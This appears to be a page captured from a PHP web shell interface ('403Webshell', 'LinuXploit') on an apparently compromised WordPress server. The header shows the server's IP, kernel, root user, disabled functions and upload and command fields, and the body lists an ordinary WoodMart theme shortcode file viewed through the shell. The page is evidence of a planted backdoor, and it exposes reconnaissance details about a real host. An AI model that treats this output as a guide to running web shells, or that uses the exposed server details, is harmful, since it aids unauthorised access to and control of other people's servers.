403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.5/wp-content/themes/woodmart/inc/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.5/wp-content/themes/woodmart/inc/shortcodes/off-canvas-column-btn.php
<?php
/**
 * Shortcode for Off Canvas Column Button element.
 *
 * @package woodmart.
 */

use XTS\Modules\Layouts\Global_Data as Builder;

if ( ! defined( 'WOODMART_THEME_DIR' ) ) {
	exit( 'No direct script access allowed' );
}

if ( ! function_exists( 'woodmart_shortcode_off_canvas_btn' ) ) {
	/**
	 * Render off canvas button shortcode.
	 *
	 * @param array $attr Shortcode attributes.
	 *
	 * @return false|string
	 */
	function woodmart_shortcode_off_canvas_btn( $attr ) {
		$wrapper_classes = apply_filters( 'vc_shortcodes_css_class', '', 'woodmart_off_canvas_btn', $attr );

		$settings = shortcode_atts(
			array(
				'woodmart_css_id'    => '',
				'css'                => '',
				'button_text'        => 'Show column',
				'icon_type'          => 'default',
				'img_id'             => '',
				'img_size'           => '20x20',
				'sticky'             => '',
				'only_sticky_button' => '',
			),
			$attr
		);

		$off_canvas_classes        = '';
		$sticky_off_canvas_classes = '';

		Builder::get_instance()->set_data( 'wd_show_sticky_sidebar_button', true );

		if ( function_exists( 'vc_shortcode_custom_css_class' ) && ! empty( $settings['css'] ) ) {
			$wrapper_classes .= ' ' . vc_shortcode_custom_css_class( $settings['css'] );
		}
		// Icon settings.

		if ( 'default' === $settings['icon_type'] ) {
			$off_canvas_classes        .= ' wd-burger-icon';
			$sticky_off_canvas_classes .= ' wd-burger-icon';
		} elseif ( 'custom' === $settings['icon_type'] ) {
			$off_canvas_classes        .= ' wd-action-custom-icon';
			$sticky_off_canvas_classes .= ' wd-action-custom-icon';
		}

		if ( woodmart_is_svg( wp_get_attachment_image_url( $settings['img_id'] ) ) ) {
			$icon_output = woodmart_get_svg_html(
				$settings['img_id'],
				$settings['img_size']
			);
		} else {
			$icon_output = woodmart_otf_get_image_html( $settings['img_id'], $settings['img_size'] );
		}

		if ( 'yes' === $settings['sticky'] && 'yes' === $settings['only_sticky_button'] ) {
			$wrapper_classes .= ' wd-action-hide-btn';
		}

		ob_start();

		woodmart_enqueue_js_script( 'off-canvas-colum-btn' );
		woodmart_enqueue_inline_style( 'off-canvas-sidebar' );
		woodmart_enqueue_inline_style( 'el-off-canvas-column-btn' );
		?>

		<div class="wd-wpb<?php echo esc_attr( $wrapper_classes ); ?>">
			<div class="wd-off-canvas-btn wd-action-btn wd-style-text<?php echo esc_html( $off_canvas_classes ); ?>">
				<a href="#" rel="nofollow">
					<span class="wd-action-icon">
						<?php echo $icon_output; //phpcs:ignore; ?>
					</span>
					<span class="wd-action-text"><?php echo esc_html( $settings['button_text'] ); ?></span>
				</a>
			</div>
			<?php if ( 'yes' === $settings['sticky'] ) : ?>
				<?php woodmart_enqueue_inline_style( 'mod-sticky-sidebar-opener' ); ?>
				<?php woodmart_enqueue_js_script( 'sticky-sidebar-btn' ); ?>
				<div class="wd-sidebar-opener wd-show-on-scroll wd-action-btn wd-style-icon<?php echo esc_html( $sticky_off_canvas_classes ); ?>">
					<a href="#" rel="nofollow">
						<span class="wd-action-icon">
							<?php echo $icon_output; //phpcs:ignore; ?>
						</span>
					</a>
				</div>
			<?php endif; ?>
		</div>

		<?php
		return apply_filters( 'vc_shortcode_output', ob_get_clean(), new WD_WPBakeryShortCodeFix(), $attr, 'woodmart_shortcode_off_canvas_btn' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit